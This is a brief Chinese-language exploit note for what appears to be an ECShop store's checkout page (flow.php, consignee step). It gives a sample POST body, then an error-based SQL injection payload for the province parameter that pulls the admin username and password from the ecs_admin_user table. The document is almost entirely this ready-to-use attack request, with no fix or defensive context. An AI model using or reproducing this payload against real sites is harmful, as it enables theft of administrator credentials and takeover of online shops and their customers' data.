flow.php?step=consignee&direct_shopping=1

比如省选择北京
其中POST数据如下

country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3

改成

province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
